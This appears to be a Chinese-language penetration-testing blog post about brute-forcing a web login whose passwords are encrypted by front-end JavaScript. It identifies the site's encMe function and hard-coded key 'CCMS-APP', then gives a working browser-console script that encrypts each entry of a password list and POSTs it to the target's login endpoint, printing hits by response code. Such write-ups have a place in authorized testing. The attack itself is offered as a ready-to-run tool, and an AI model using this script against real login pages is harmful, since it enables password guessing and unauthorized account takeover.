console中爆破数据加密传输的思路

console中爆破数据加密传输的思路

0x00 前言

渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。

1

0x01 分析

分析一波后发现,网站登录时会调用,XLEncryption.js中的encMe函数

1
2
3
function encMe(s, k){
return stringToHex(encryption(k,s,1,0));
}

打开chrome,在此处下断点。user输入admin,password输入123456

1
2
3
function encMe(s, k){//s = "123456", k = "CCMS-APP"传进的参数
return stringToHex(encryption(k,s,1,0));
}

由此可知传入两个参数一个是,我们的password的值,还有一个是js加密用的key。

1
2
var myReturn = encMe("123456","CCMS-APP")
console.log(myReturn)

1

0x02 exp

exp的基本思路,用ajax把列表里的password发送,根据返回的数据包来判定是否成功

踩坑:

Q:变量命名 不要用i 不要用i 不要用i **肯定会重复 大家都喜欢用i

A:选一个不常用变量

Q:jquery ajax请求成功,返回了数据,但是不进success回调函数的问题。

A:先要处理返回数据。eval转换成json对象。

Q:在ajax中判断,无法输出想要的密码,每次输出的都是列表中最后一个元素

A:传参数时传入,两个参数如下面的代码中的function shepi(payload,myperson)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
	var testpass = ["root", "root123", "admin123", "admin666"];
for(var init=0;init<testpass.length;init++){
var myperson = testpass[init];
window.test = myperson
payload = encMe(myperson,"CCMS-APP");
shepi(payload,myperson);
}
function shepi(payload,myperson){
$.ajax({
url : "http://*****/Login/login.do",
type : "POST",
data : {
user:"bf9198e1396f8c3cf5d1914306c0c9c7",
password : payload,
openid : ""
},
async: "false",
success : function(data){
var data = eval('(' + data + ')');
if(data.errorCode != -1){
console.log(myperson)

}else{
}
}
})
}

aa

0x03 总结

可以直接在chrome console里面直接操作,不需要其他依赖。

‘Author’: ‘ka’